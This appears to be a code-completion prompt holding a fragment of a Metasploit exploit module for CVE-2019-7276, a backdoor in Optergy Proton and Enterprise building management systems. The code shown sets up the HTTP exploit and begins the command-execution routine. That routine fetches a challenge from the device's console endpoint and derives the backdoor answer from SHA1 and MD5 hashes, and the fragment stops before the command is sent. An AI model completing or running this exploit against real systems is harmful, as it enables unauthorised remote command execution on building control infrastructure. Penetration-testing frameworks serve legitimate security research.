You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: optergy_bms_backdoor_rce_cve_2019_7276.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Optergy Proton and Enterprise BMS Command Injection using a backdoor',
       
    
  def execute_command(cmd, _opts = {})
    # Step 1: get the challenge and compute the response answer for the backdoor execution
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html?get')
    })
    if res.nil? || (res.code != 200)
      return nil
    else
      # Get and create a challenge response
      res_json = res.get_json_document
      return nil if res_json.nil? || res_json.blank?

      # Get the challenge
      challenge = res_json['response']['message']
      # Make SHA1 hash from received challenge
      h1 = Digest::SHA1.hexdigest challenge
      # Make MD5 hash from SHA1 hash
      h2 = Digest::MD5.hexdigest h1
      # Combine MD5 hash and SHA1 hash as answer (response) to the challenge
      answer = h1 + h2
    end